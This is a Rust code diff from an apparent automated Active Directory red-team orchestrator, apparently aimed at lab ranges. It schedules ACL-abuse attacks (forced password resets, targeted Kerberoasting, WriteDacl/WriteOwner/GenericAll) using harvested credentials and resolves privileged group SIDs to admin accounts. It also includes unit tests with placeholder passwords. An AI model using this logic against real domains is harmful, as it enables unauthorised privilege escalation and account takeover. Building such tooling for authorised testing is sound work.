+ is_previous: false, + source_host: None, + is_trust_key: false, + trust_pair_label: None, + } + } + + #[tokio::test] + async fn collect_empty_state_no_work() { + let state = SharedState::new("test".into()); + let inner = state.read().await; + let work = collect_cross_forest_work(&inner); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_single_domain_no_work() { + let state = SharedState::new("test".into()); + { + let mut s = state.write().await; + s.domains.push("contoso.local".into()); + s.credentials.push(make_cred( + "c1", + "user1", + "P@ssw0rd!", + "contoso.local", + false, + )); // pragma: allowlist secret + s.domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + } + let inner = state.read().await; + let work = collect_cross_forest_work(&inner); + assert!(work.is_empty(), "single domain should produce no work"); + } + + #[tokio::test] + async fn collect_no_credentials_no_work() { + let state = SharedState::new("test".into()); + { + let mut s = state.write().await; + s.domains.push("contoso.local".into()); + s.domains.push("fabrikam.local".into()); + s.domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + s.domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + } + let inner = state.read().await; + let work = collect_cross_forest_work(&inner); + assert!(work.is_empty(), "no credentials should produce no work"); + } + + #[tokio::test] + async fn collect_two_domains_with_cross_forest_cred() { + let state = SharedState::new("test".into()); + { + let mut s = state.write().await; + s.domains.push("contoso.local".into()); + s.domains.push("fabrikam.local".into()); + s.domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + s.domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + s.credentials + .push(make_cred("c1", "admin", "P@ssw0rd!", "contoso.local", true)); + // pragma: allowlist secret + } + let inner = state.read().await; + let work = collect_cross_forest_work(&inner); + // Should produce work for both domains (the cred works for contoso as same-domain, + // and for fabrikam as cross-forest). + assert!(!work.is_empty()); + // At least one item should target fabrikam + assert!(work.iter().any(|w| w.domain == "fabrikam.local")); + } + + #[tokio::test] + async fn collect_skips_domain_with_five_credentials() { + let state = SharedState::new("test".into()); + { + let mut s = state.write().await; + s.domains.push("contoso.local".into()); + s.domains.push("fabrikam.local".into()); + s.domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + s.domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + // 5 credentials for fabrikam = already enumerated + for i in 0..5 { + s.credentials.push(make_cred( + &format!("c{i}"), + &format!("user{i}"), + "P@ssw0rd!", // pragma: allowlist secret + "fabrikam.local", + false, + )); + } + // Also need a cred that can authenticate + s.credentials + .push(make_cred("cx", "admin", "P@ssw0rd!", "contoso.local", true)); + // pragma: allowlist secret + } + let inner = state.read().await; + let work = collect_cross_forest_work(&inner); + // fabrikam should be skipped (>= 5 creds), contoso should appear + assert!( + work.iter().all(|w| w.domain != "fabrikam.local"), + "domain with >= 5 credentials should be skipped" + ); + } + + #[tokio::test] + async fn collect_skips_domain_with_ten_hashes() { + let state = SharedState::new("test".into()); + { + let mut s = state.write().await; + s.domains.push("contoso.local".into()); + s.domains.push("fabrikam.local".into()); + s.domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + // 10 hashes for fabrikam + for i in 0..10 { + s.hashes + .push(make_hash(&format!("hashuser{i}"), "fabrikam.local")); + } + s.credentials + .push(make_cred("c1", "admin", "P@ssw0rd!", "contoso.local", true)); + // pragma: allowlist secret + } + let inner = state.read().await; + let work = collect_cross_forest_work(&inner); + assert!( + work.iter().all(|w| w.domain != "fabrikam.local"), + "domain with >= 10 hashes should be skipped" + ); + } + + #[tokio::test] + async fn collect_credential_priority_same_domain_best() { + let state = SharedState::new("test".into()); + { + let mut s = state.write().await; + s.domains.push("contoso.local".into()); + s.domains.push("fabrikam.local".into()); + s.domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + // Cross-forest cred (priority 3) + s.credentials.push(make_cred( + "c1", + "crossuser", + "P@ssw0rd!", + "contoso.local", + false, + )); // pragma: allowlist secret + // Same-domain cred (priority 0) — should be selected + s.credentials.push(make_cred( + "c2", + "localuser", + "P@ssw0rd!", + "fabrikam.local", + false, + )); // pragma: allowlist secret + } + let inner = state.read().await; + let work = collect_cross_forest_work(&inner); + let fab_work = work.iter().find(|w| w.domain == "fabrikam.local"); + assert!(fab_work.is_some(), "should produce work for fabrikam"); + assert_eq!( + fab_work.unwrap().credential.username, + "localuser", + "same-domain credential should be preferred" + ); + } + + #[tokio::test] + async fn collect_credential_priority_admin_over_same_forest() { + let state = SharedState::new("test".into()); + { + let mut s = state.write().await; + s.domains.push("contoso.local".into()); + s.domains.push("fabrikam.local".into()); + s.domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + // Same-forest non-admin (priority 2) + s.credentials.push(make_cred( + "c1", + "forestuser", + "P@ssw0rd!", + "child.fabrikam.local", + false, + )); // pragma: allowlist secret + // Admin from another domain (priority 1) — should win + s.credentials.push(make_cred( + "c2", + "adminuser", + "P@ssw0rd!", + "contoso.local", + true, + )); // pragma: allowlist secret + } + let inner = state.read().await; + let work = collect_cross_forest_work(&inner); + let fab_work = work.iter().find(|w| w.domain == "fabrikam.local"); + assert!(fab_work.is_some()); + assert_eq!( + fab_work.unwrap().credential.username, + "adminuser", + "admin credential should be preferred over same-forest non-admin" + ); + } + + #[tokio::test] + async fn collect_credential_priority_same_forest_over_cross_forest() { + let state = SharedState::new("test".into()); + { + let mut s = state.write().await; + s.domains.push("contoso.local".into()); + s.domains.push("fabrikam.local".into()); + s.domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + // Cross-forest non-admin (priority 3) + s.credentials.push(make_cred( + "c1", + "crossuser", + "P@ssw0rd!", + "contoso.local", + false, + )); // pragma: allowlist secret + // Same-forest non-admin (priority 2) — should win + s.credentials.push(make_cred( + "c2", + "forestuser", + "P@ssw0rd!", + "child.fabrikam.local", + false, + )); // pragma: allowlist secret + } + let inner = state.read().await; + let work = collect_cross_forest_work(&inner); + let fab_work = work.iter().find(|w| w.domain == "fabrikam.local"); + assert!(fab_work.is_some()); + assert_eq!( + fab_work.unwrap().credential.username, + "forestuser", + "same-forest credential should be preferred over cross-forest" + ); + } + + #[tokio::test] + async fn collect_skips_quarantined_principals() { + let state = SharedState::new("test".into()); + { + let mut s = state.write().await; + s.domains.push("contoso.local".into()); + s.domains.push("fabrikam.local".into()); + s.domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + // Only credential is quarantined + s.credentials.push(make_cred( + "c1", + "baduser", + "P@ssw0rd!", + "contoso.local", + true, + )); // pragma: allowlist secret + s.quarantined_principals.insert( + "baduser@contoso.local".into(), + chrono::Utc::now() + chrono::Duration::seconds(300), + ); + } + let inner = state.read().await; + let work = collect_cross_forest_work(&inner); + assert!( + work.iter().all(|w| w.credential.username != "baduser"), + "quarantined credentials should be skipped" + ); + } + + #[tokio::test] + async fn collect_skips_empty_password_credentials() { + let state = SharedState::new("test".into()); + { + let mut s = state.write().await; + s.domains.push("contoso.local".into()); + s.domains.push("fabrikam.local".into()); + s.domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + // Only credential has empty password + s.credentials + .push(make_cred("c1", "nopass", "", "contoso.local", true)); + } + let inner = state.read().await; + let work = collect_cross_forest_work(&inner); + // No usable credential → should produce no work for fabrikam + assert!( + work.iter().all(|w| w.domain != "fabrikam.local"), + "empty password credentials should not produce work" + ); + } + + #[tokio::test] + async fn collect_skips_already_processed_dedup_key() { + let state = SharedState::new("test".into()); + { + let mut s = state.write().await; + s.domains.push("contoso.local".into()); + s.domains.push("fabrikam.local".into()); + s.domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + s.credentials + .push(make_cred("c1", "admin", "P@ssw0rd!", "contoso.local", true)); // pragma: allowlist secret + // Pre-mark the dedup key as processed + let key = cross_forest_dedup_key("fabrikam.local", "admin", "contoso.local"); + s.mark_processed(DEDUP_CROSS_FOREST_ENUM, key); + } + let inner = state.read().await; + let work = collect_cross_forest_work(&inner); + assert!( + work.iter().all(|w| w.domain != "fabrikam.local"), + "already-processed dedup key should be skipped" + ); + } + + #[tokio::test] + async fn collect_under_enumerated_flag_when_few_users() { + let state = SharedState::new("test".into()); + { + let mut s = state.write().await; + s.domains.push("contoso.local".into()); + s.domains.push("fabrikam.local".into()); + s.domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + // 2 fabrikam creds (< 3 = under-enumerated) + s.credentials.push(make_cred( + "c1", + "user1", + "P@ssw0rd!", + "fabrikam.local", + false, + )); // pragma: allowlist secret + s.credentials.push(make_cred( + "c2", + "user2", + "P@ssw0rd!", + "fabrikam.local", + false, + )); // pragma: allowlist secret + } + let inner = state.read().await; + let work = collect_cross_forest_work(&inner); + let fab_work = work.iter().find(|w| w.domain == "fabrikam.local"); + assert!(fab_work.is_some()); + assert!( + fab_work.unwrap().is_under_enumerated, + "domain with < 3 users should be marked under-enumerated" + ); + } + + #[tokio::test] + async fn collect_not_under_enumerated_with_three_users() { + let state = SharedState::new("test".into()); + { + let mut s = state.write().await; + s.domains.push("contoso.local".into()); + s.domains.push("fabrikam.local".into()); + s.domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + // 3 fabrikam creds (>= 3 = not under-enumerated, but < 5 so still triggers enum) + for i in 0..3 { + s.credentials.push(make_cred( + &format!("c{i}"), + &format!("user{i}"), + "P@ssw0rd!", // pragma: allowlist secret + "fabrikam.local", + false, + )); + } + } + let inner = state.read().await; + let work = collect_cross_forest_work(&inner); + let fab_work = work.iter().find(|w| w.domain == "fabrikam.local"); + assert!(fab_work.is_some()); + assert!( + !fab_work.unwrap().is_under_enumerated, + "domain with >= 3 users should not be marked under-enumerated" + ); + } +} diff --git a/ares-cli/src/orchestrator/automation/dacl_abuse.rs b/ares-cli/src/orchestrator/automation/dacl_abuse.rs new file mode 100644 index 00000000..297adcbf --- /dev/null +++ b/ares-cli/src/orchestrator/automation/dacl_abuse.rs @@ -0,0 +1,1372 @@ +//! auto_dacl_abuse -- direct ACL abuse for known attack paths. +//! +//! Unlike acl_chain_follow (which requires BloodHound to populate acl_chains), +//! this module proactively dispatches known ACL abuse techniques when: +//! - A credential is available for a user known to have dangerous permissions +//! - The target object exists in the domain +//! +//! Covers: ForceChangePassword, GenericWrite (targeted Kerberoast), WriteDacl, +//! WriteOwner, GenericAll. Each abuse type maps to a specific tool invocation +//! (e.g., net rpc password for ForceChangePassword, bloodyAD for GenericWrite). + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::dedup::is_ghost_machine_account; +use crate::orchestrator::dispatcher::{Dispatcher, SubmissionOutcome}; +use crate::orchestrator::state::*; + +/// Dispatches ACL abuse when matching credentials + bloodhound paths exist. +/// Interval: 30s. +pub async fn auto_dacl_abuse(dispatcher: Arc, mut shutdown: watch::Receiver) { + let mut interval = tokio::time::interval(Duration::from_secs(30)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("dacl_abuse") { + continue; + } + + let work: Vec = { + let state = dispatcher.state.read().await; + collect_dacl_work(&state) + }; + + for item in work { + let payload = json!({ + "technique": "dacl_abuse", + "acl_type": item.vuln_type, + "vuln_id": item.vuln_id, + "source_user": item.source_user, + "target_user": item.target_user, + "target_ip": item.dc_ip, + "domain": item.domain, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + }); + + let priority = dispatcher.effective_priority("dacl_abuse"); + // Mark dedup on Submitted OR Deferred to prevent the 30s tick from + // re-emitting identical work each cycle and bloating the deferred + // ZSET past its per-type cap (which silently drops entries). Only + // skip dedup on Dropped — those need to be reconsidered next tick. + let mark_dedup = match dispatcher + .throttled_submit_outcome("acl_chain_step", "acl", payload, priority) + .await + { + Ok(SubmissionOutcome::Submitted(task_id)) => { + info!( + task_id = %task_id, + vuln_id = %item.vuln_id, + acl_type = %item.vuln_type, + source = %item.source_user, + target = %item.target_user, + "DACL abuse dispatched" + ); + true + } + Ok(SubmissionOutcome::Deferred) => { + debug!(vuln_id = %item.vuln_id, "DACL abuse deferred (will retry via deferred drain)"); + true + } + Ok(SubmissionOutcome::Dropped) => { + debug!(vuln_id = %item.vuln_id, "DACL abuse dropped (will reconsider next tick)"); + false + } + Err(e) => { + warn!(err = %e, vuln_id = %item.vuln_id, "Failed to dispatch DACL abuse"); + false + } + }; + if mark_dedup { + { + let mut state = dispatcher.state.write().await; + state.mark_processed(DEDUP_DACL_ABUSE, item.dedup_key.clone()); + } + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_DACL_ABUSE, &item.dedup_key) + .await; + } + } + } +} + +/// Collect DACL abuse work items from state without holding async locks. +/// +/// Extracted for testability: scans `discovered_vulnerabilities` for ACL-type +/// vulns that have a matching credential and haven't been processed yet. +fn collect_dacl_work(state: &StateInner) -> Vec { + if state.credentials.is_empty() { + return Vec::new(); + } + + let mut items = Vec::new(); + + // Check discovered_vulnerabilities for ACL-related vulns + // (populated by BloodHound analysis or recon agents) + for vuln in state.discovered_vulnerabilities.values() { + let vtype = vuln.vuln_type.to_lowercase(); + + let is_acl_vuln = vtype.contains("forcechangepassword") + || vtype.contains("genericwrite") + || vtype.contains("writedacl") + || vtype.contains("writeowner") + || vtype.contains("genericall") + || vtype.contains("self_membership") + || vtype.contains("write_membership") + || vtype.contains("writeproperty") + || vtype.contains("allextendedrights") + || vtype.contains("addmember") + || vtype.contains("addself"); + + if !is_acl_vuln { + continue; + } + + if state.exploited_vulnerabilities.contains(&vuln.vuln_id) { + continue; + } + + let dedup_key = format!("dacl:{}", vuln.vuln_id); + if state.is_processed(DEDUP_DACL_ABUSE, &dedup_key) { + continue; + } + + let target_name = vuln + .details + .get("target") + .or_else(|| vuln.details.get("target_user")) + .or_else(|| vuln.details.get("to")) + .and_then(|v| v.as_str()) + .unwrap_or(""); + if is_ghost_machine_account(target_name) { + debug!( + vuln_id = %vuln.vuln_id, + target = %target_name, + "Skipping ACL abuse for ghost machine account target" + ); + continue; + } + + // Extract source user from vuln details + let source_user = vuln + .details + .get("source") + .or_else(|| vuln.details.get("source_user")) + .or_else(|| vuln.details.get("from")) + .and_then(|v| v.as_str()) + .unwrap_or(""); + + let source_domain = vuln + .details + .get("source_domain") + .or_else(|| vuln.details.get("domain")) + .and_then(|v| v.as_str()) + .unwrap_or(""); + + if source_user.is_empty() { + continue; + } + + // Find matching credential. + // + // BloodHound often emits ACL edges with SID principals (e.g. for + // well-known groups like Enterprise Admins). When `source` is a SID, + // resolve to any privileged credential in the source's domain so the + // ACL chain can still be exercised. + let cred = state + .credentials + .iter() + .find(|c| { + c.username.to_lowercase() == source_user.to_lowercase() + && (source_domain.is_empty() + || c.domain.to_lowercase() == source_domain.to_lowercase()) + }) + .cloned() + .or_else(|| resolve_sid_principal(state, source_user, source_domain)); + + if let Some(cred) = cred { + let target_user = vuln + .details + .get("target") + .or_else(|| vuln.details.get("target_user")) + .or_else(|| vuln.details.get("to")) + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + + let dispatch_domain = cred.domain.to_lowercase(); + + if state.dominated_domains.contains(&dispatch_domain) { + debug!(vuln_id = %vuln.vuln_id, domain = %cred.domain, "DACL abuse skipped: domain dominated"); + continue; + } + + // Defer (don't mark dedup) so the next tick re-evaluates once + // DCSync either finishes (domain becomes dominated above) or its + // in-flight TTL expires and the chain runs as fallback. + if state.credential_capture_in_flight_for(&dispatch_domain) { + debug!(vuln_id = %vuln.vuln_id, domain = %cred.domain, "DACL abuse deferred: credential capture in flight"); + continue; + } + + // ForceChangePassword / GenericAll overwrite the target's + // plaintext via `bloodyad_set_password`. Skip when we already + // have material so the scoreboard's back-verification against + // the original lab-provisioned password still holds. + let is_destructive_acl = + vtype.contains("forcechangepassword") || vtype.contains("genericall"); + if is_destructive_acl && !target_user.is_empty() { + let target_lower = target_user.to_lowercase(); + let already_have_material = state.credentials.iter().any(|c| { + !c.password.is_empty() + && c.username.to_lowercase() == target_lower + && c.domain.to_lowercase() == dispatch_domain + }) || state.hashes.iter().any(|h| { + h.username.to_lowercase() == target_lower + && h.domain.to_lowercase() == dispatch_domain + }); + if already_have_material { + debug!(vuln_id = %vuln.vuln_id, target = %target_user, "Destructive ACL skipped: target material already in state"); + continue; + } + } + + let dc_ip = state + .domain_controllers + .get(&dispatch_domain) + .cloned() + .unwrap_or_default(); + + // When BloodHound emitted the source as a raw SID and we resolved + // it via `resolve_sid_principal`, surface the resolved credential's + // SAM account name as `source_user` — not the SID. Tool schemas + // require a username for credential injection by `(user, domain)`, + // and the LLM otherwise echoes the SID as the auth principal. + let dispatched_source_user = if source_user.starts_with("S-1-5-21-") { + cred.username.clone() + } else { + source_user.to_string() + }; + + items.push(DaclWork { + dedup_key, + vuln_id: vuln.vuln_id.clone(), + vuln_type: vtype, + source_user: dispatched_source_user, + target_user, + domain: cred.domain.clone(), + dc_ip, + credential: cred, + }); + } + } + + items +} + +struct DaclWork { + dedup_key: String, + vuln_id: String, + vuln_type: String, + source_user: String, + target_user: String, + domain: String, + dc_ip: String, + credential: ares_core::models::Credential, +} + +/// RIDs of well-known privileged groups whose membership is owned by privileged +/// credentials in the same domain. Resolving a SID-typed source to "any DA-cred +/// in this domain" is correct for these RIDs because the abuse only requires +/// *a* member of the group, not a specific principal. +fn is_privileged_well_known_rid(rid: u32) -> bool { + matches!( + rid, + 512 // Domain Admins + | 518 // Schema Admins + | 519 // Enterprise Admins + | 520 // Group Policy Creator Owners + | 526 // Key Admins + | 527 // Enterprise Key Admins + ) +} + +/// When the ACL edge source is a SID (typically a well-known group), resolve +/// it to a credential of an actual member. +/// +/// Strategy: +/// 1. Parse `S-1-5-21-X-Y-Z-RID` and extract the domain SID prefix and RID. +/// 2. Reverse-look up the domain via `state.domain_sids` (or fall back to +/// `source_domain` from the vuln details). +/// 3. For privileged well-known RIDs, return any `is_admin` credential in +/// that domain. As a last resort, return any credential in the domain. +fn resolve_sid_principal( + state: &StateInner, + source: &str, + source_domain: &str, +) -> Option { + if !source.starts_with("S-1-5-21-") { + return None; + } + let (prefix, rid_str) = source.rsplit_once('-')?; + let rid: u32 = rid_str.parse().ok()?; + + let resolved_domain = state + .domain_sids + .iter() + .find(|(_, sid)| sid.eq_ignore_ascii_case(prefix)) + .map(|(d, _)| d.to_lowercase()) + .or_else(|| { + if source_domain.is_empty() { + None + } else { + Some(source_domain.to_lowercase()) + } + })?; + + if !is_privileged_well_known_rid(rid) { + return None; + } + + let admin = state + .credentials + .iter() + .find(|c| c.is_admin && c.domain.to_lowercase() == resolved_domain) + .cloned(); + if admin.is_some() { + return admin; + } + + state + .credentials + .iter() + .find(|c| c.domain.to_lowercase() == resolved_domain) + .cloned() +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn dedup_key_format() { + let key = format!("dacl:{}", "vuln-acl-001"); + assert_eq!(key, "dacl:vuln-acl-001"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_DACL_ABUSE, "dacl_abuse"); + } + + #[test] + fn acl_vuln_type_matching() { + let positives = [ + "ForceChangePassword", + "GenericWrite", + "WriteDacl", + "WriteOwner", + "GenericAll", + "self_membership", + "write_membership", + "WriteProperty", + "AllExtendedRights", + "AddMember", + "AddSelf", + "SomePrefix_forcechangepassword_suffix", + ]; + for t in &positives { + let vtype = t.to_lowercase(); + let is_acl_vuln = vtype.contains("forcechangepassword") + || vtype.contains("genericwrite") + || vtype.contains("writedacl") + || vtype.contains("writeowner") + || vtype.contains("genericall") + || vtype.contains("self_membership") + || vtype.contains("write_membership") + || vtype.contains("writeproperty") + || vtype.contains("allextendedrights") + || vtype.contains("addmember") + || vtype.contains("addself"); + assert!(is_acl_vuln, "{t} should match as ACL vuln"); + } + } + + #[test] + fn non_acl_vuln_types_rejected() { + let negatives = [ + "smb_signing_disabled", + "mssql_access", + "zerologon", + "esc1", + "kerberoast", + ]; + for t in &negatives { + let vtype = t.to_lowercase(); + let is_acl_vuln = vtype.contains("forcechangepassword") + || vtype.contains("genericwrite") + || vtype.contains("writedacl") + || vtype.contains("writeowner") + || vtype.contains("genericall") + || vtype.contains("self_membership") + || vtype.contains("write_membership"); + assert!(!is_acl_vuln, "{t} should NOT match as ACL vuln"); + } + } + + #[test] + fn source_user_extraction_keys() { + // Verify the fallback chain for source user extraction + let details = serde_json::json!({ + "source": "admin", + "source_user": "admin2", + "from": "admin3", + }); + let source = details + .get("source") + .or_else(|| details.get("source_user")) + .or_else(|| details.get("from")) + .and_then(|v| v.as_str()) + .unwrap_or(""); + assert_eq!(source, "admin"); + + // Fallback to source_user + let details2 = serde_json::json!({ + "source_user": "admin2", + }); + let source2 = details2 + .get("source") + .or_else(|| details2.get("source_user")) + .or_else(|| details2.get("from")) + .and_then(|v| v.as_str()) + .unwrap_or(""); + assert_eq!(source2, "admin2"); + + // No source returns empty + let details3 = serde_json::json!({}); + let source3 = details3 + .get("source") + .or_else(|| details3.get("source_user")) + .or_else(|| details3.get("from")) + .and_then(|v| v.as_str()) + .unwrap_or(""); + assert_eq!(source3, ""); + } + + #[test] + fn source_domain_extraction_keys() { + let details = serde_json::json!({"source_domain": "contoso.local"}); + let source_domain = details + .get("source_domain") + .or_else(|| details.get("domain")) + .and_then(|v| v.as_str()) + .unwrap_or(""); + assert_eq!(source_domain, "contoso.local"); + + let details2 = serde_json::json!({"domain": "fabrikam.local"}); + let source_domain2 = details2 + .get("source_domain") + .or_else(|| details2.get("domain")) + .and_then(|v| v.as_str()) + .unwrap_or(""); + assert_eq!(source_domain2, "fabrikam.local"); + + let details3 = serde_json::json!({}); + let source_domain3 = details3 + .get("source_domain") + .or_else(|| details3.get("domain")) + .and_then(|v| v.as_str()) + .unwrap_or(""); + assert_eq!(source_domain3, ""); + } + + #[test] + fn target_user_extraction_keys() { + let details = serde_json::json!({"target": "victim", "target_user": "v2", "to": "v3"}); + let target = details + .get("target") + .or_else(|| details.get("target_user")) + .or_else(|| details.get("to")) + .and_then(|v| v.as_str()) + .unwrap_or(""); + assert_eq!(target, "victim"); + + let details2 = serde_json::json!({"target_user": "v2"}); + let target2 = details2 + .get("target") + .or_else(|| details2.get("target_user")) + .or_else(|| details2.get("to")) + .and_then(|v| v.as_str()) + .unwrap_or(""); + assert_eq!(target2, "v2"); + + let details3 = serde_json::json!({"to": "v3"}); + let target3 = details3 + .get("target") + .or_else(|| details3.get("target_user")) + .or_else(|| details3.get("to")) + .and_then(|v| v.as_str()) + .unwrap_or(""); + assert_eq!(target3, "v3"); + } + + #[test] + fn ghost_machine_targets_rejected() { + assert!(is_ghost_machine_account("WIN-DPPJMLU3XS6$")); + } + + #[test] + fn credential_matching_with_domain() { + let source_user = "admin"; + let source_domain = "contoso.local"; + let cred_username = "Admin"; + let cred_domain = "CONTOSO.LOCAL"; + + let matches = cred_username.to_lowercase() == source_user.to_lowercase() + && (source_domain.is_empty() + || cred_domain.to_lowercase() == source_domain.to_lowercase()); + assert!(matches); + } + + #[test] + fn credential_matching_without_domain() { + let source_user = "admin"; + let source_domain = ""; + let cred_username = "admin"; + let cred_domain = "contoso.local"; + + let matches = cred_username.to_lowercase() == source_user.to_lowercase() + && (source_domain.is_empty() + || cred_domain.to_lowercase() == source_domain.to_lowercase()); + assert!(matches); + } + + #[test] + fn credential_matching_wrong_user() { + let source_user = "admin"; + let source_domain = "contoso.local"; + let cred_username = "jdoe"; + let cred_domain = "contoso.local"; + + let matches = cred_username.to_lowercase() == source_user.to_lowercase() + && (source_domain.is_empty() + || cred_domain.to_lowercase() == source_domain.to_lowercase()); + assert!(!matches); + } + + #[test] + fn credential_matching_wrong_domain() { + let source_user = "admin"; + let source_domain = "contoso.local"; + let cred_username = "admin"; + let cred_domain = "fabrikam.local"; + + let matches = cred_username.to_lowercase() == source_user.to_lowercase() + && (source_domain.is_empty() + || cred_domain.to_lowercase() == source_domain.to_lowercase()); + assert!(!matches); + } + + #[test] + fn dacl_payload_structure() { + let payload = serde_json::json!({ + "technique": "dacl_abuse", + "acl_type": "forcechangepassword", + "vuln_id": "vuln-acl-001", + "source_user": "admin", + "target_user": "victim", + "target_ip": "192.168.58.10", + "domain": "contoso.local", + "credential": { + "username": "admin", + "password": "P@ssw0rd!", + "domain": "contoso.local", + }, + }); + assert_eq!(payload["technique"], "dacl_abuse"); + assert_eq!(payload["acl_type"], "forcechangepassword"); + assert_eq!(payload["source_user"], "admin"); + assert_eq!(payload["target_user"], "victim"); + assert_eq!(payload["credential"]["domain"], "contoso.local"); + } + + #[test] + fn acl_vuln_type_case_insensitive() { + for t in [ + "ForceChangePassword", + "FORCECHANGEPASSWORD", + "forcechangepassword", + ] { + let vtype = t.to_lowercase(); + assert!(vtype.contains("forcechangepassword"), "{t} should match"); + } + } + + #[test] + fn source_user_from_key() { + let details = serde_json::json!({"from": "svc_account"}); + let source = details + .get("source") + .or_else(|| details.get("source_user")) + .or_else(|| details.get("from")) + .and_then(|v| v.as_str()) + .unwrap_or(""); + assert_eq!(source, "svc_account"); + } + + // -- collect_dacl_work integration tests -- + + use crate::orchestrator::state::SharedState; + use ares_core::models::{Credential, VulnerabilityInfo}; + use std::collections::HashMap; + + fn make_credential(username: &str, domain: &str) -> Credential { + Credential { + id: format!("cred-{username}"), + username: username.to_string(), + password: "P@ssw0rd!".to_string(), // pragma: allowlist secret + domain: domain.to_string(), + source: String::new(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + } + } + + fn make_vuln( + vuln_id: &str, + vuln_type: &str, + details: HashMap, + ) -> VulnerabilityInfo { + VulnerabilityInfo { + vuln_id: vuln_id.to_string(), + vuln_type: vuln_type.to_string(), + target: "192.168.58.10".to_string(), + discovered_by: "bloodhound".to_string(), + discovered_at: chrono::Utc::now(), + details, + recommended_agent: String::new(), + priority: 5, + } + } + + fn acl_details(source: &str, target: &str, domain: &str) -> HashMap { + let mut m = HashMap::new(); + m.insert("source".to_string(), serde_json::json!(source)); + m.insert("target".to_string(), serde_json::json!(target)); + m.insert("source_domain".to_string(), serde_json::json!(domain)); + m + } + + #[tokio::test] + async fn collect_empty_state_no_work() { + let shared = SharedState::new("test".into()); + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_no_credentials_no_work() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + let details = acl_details("admin", "victim", "contoso.local"); + let vuln = make_vuln("vuln-001", "ForceChangePassword", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + } + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_forcechangepassword_produces_work() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("admin", "contoso.local")); + let details = acl_details("admin", "victim", "contoso.local"); + let vuln = make_vuln("vuln-fcp-001", "ForceChangePassword", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].vuln_type, "forcechangepassword"); + assert_eq!(work[0].source_user, "admin"); + assert_eq!(work[0].target_user, "victim"); + assert_eq!(work[0].domain, "contoso.local"); + } + + #[tokio::test] + async fn collect_genericwrite_produces_work() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("svc_sql", "contoso.local")); + let details = acl_details("svc_sql", "targetuser", "contoso.local"); + let vuln = make_vuln("vuln-gw-001", "GenericWrite", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].vuln_type, "genericwrite"); + } + + #[tokio::test] + async fn collect_writedacl_produces_work() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("operator", "contoso.local")); + let details = acl_details("operator", "targetobj", "contoso.local"); + let vuln = make_vuln("vuln-wd-001", "WriteDacl", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].vuln_type, "writedacl"); + } + + #[tokio::test] + async fn collect_writeowner_produces_work() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("operator", "contoso.local")); + let details = acl_details("operator", "targetobj", "contoso.local"); + let vuln = make_vuln("vuln-wo-001", "WriteOwner", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].vuln_type, "writeowner"); + } + + #[tokio::test] + async fn collect_genericall_produces_work() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("admin", "contoso.local")); + let details = acl_details("admin", "victim", "contoso.local"); + let vuln = make_vuln("vuln-ga-001", "GenericAll", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].vuln_type, "genericall"); + } + + #[tokio::test] + async fn collect_self_membership_produces_work() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("user1", "contoso.local")); + let details = acl_details("user1", "Domain Admins", "contoso.local"); + let vuln = make_vuln("vuln-sm-001", "self_membership", details); + state + .discovered_vulnerabilities + 